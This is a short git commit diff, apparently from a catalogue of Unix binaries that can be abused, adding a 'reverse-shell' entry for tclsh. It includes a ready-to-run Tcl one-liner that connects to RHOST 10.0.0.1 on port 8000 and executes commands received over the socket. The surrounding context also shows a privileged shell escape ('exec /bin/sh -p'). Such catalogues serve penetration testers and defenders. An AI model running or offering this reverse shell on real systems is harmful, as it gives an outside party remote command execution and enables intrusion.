Add tclsh reverse shell

This commit is contained in:
Emilio Pinna 2018-05-22 22:04:46 +01:00
parent 43b68e46b1
commit 24a7c20324

View File

@ -12,4 +12,10 @@ functions:
- code: | - code: |
./tclsh ./tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr exec /bin/sh -p <@stdin >@stdout 2>@stderr
reverse-shell:
- description:
code: |
export RHOST=10.0.0.1
export RPORT=8000
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
--- ---